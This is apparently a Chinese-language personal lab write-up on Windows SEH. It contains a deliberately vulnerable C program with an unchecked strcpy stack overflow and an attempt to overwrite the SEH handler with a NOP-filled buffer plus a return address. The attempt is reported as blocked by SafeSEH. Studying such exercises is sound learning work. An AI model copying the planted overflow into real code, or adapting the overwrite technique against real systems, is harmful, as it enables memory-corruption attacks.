直接看代码
#include "stdio.h" #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90 void MyExceptionhandler(void){ printf("got an execption, press Enter to kill process\n"); getchar(); ExitProcess(1); } void test(char * input){ char buf[200]; int zero = 0; __asm int 3 __try{ strcpy(buf, input); zero = 5 / zero; } __except(MyExceptionhandler()){} } int main(){ test(shellcode); return 0; }
理解seh
调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个seh结构
其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的seh的值
继续看看strcpy和除0是怎么实现的
之后我们在异常处理函数的首地址下个断点
运行到除0,shift+f9忽略异常,意思就是我们的调试器不处理异常,交给操作系统处理,那么操作系统肯定会乖乖的去调用seh处理函数了
一开始可能那个写复杂,所以下面跟了几步才去执行那个函数
我试试直接改成作者那样简单点的
其实差不多
查看seh链
尝试利用
直接f9运行就好了,先看看shellcode的其实位置
可以看到,200个0x90,还差12个,之后4个就可以覆盖我们shellcode的首地址了
先把shellcode改成212个90最后加个shellcode的首地址
char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x98\xFE\x12\x00";
可以看到已经被我们修改了
我们在shellcode起始位置下断点,下硬件执行断点吧
但是 除0之后发现程序退出了,应该是有safeseh,自Windwos XP SP2之后,微软就已经引入了SafeSEH技术。
会在这里挂掉
f7跟进
跟着就进入了一个系统调用,看不到更底层的东西了
之后f7就回到 除0那了
不过知道原理好了,这里肯定是有保护的了,一时不知怎么绕过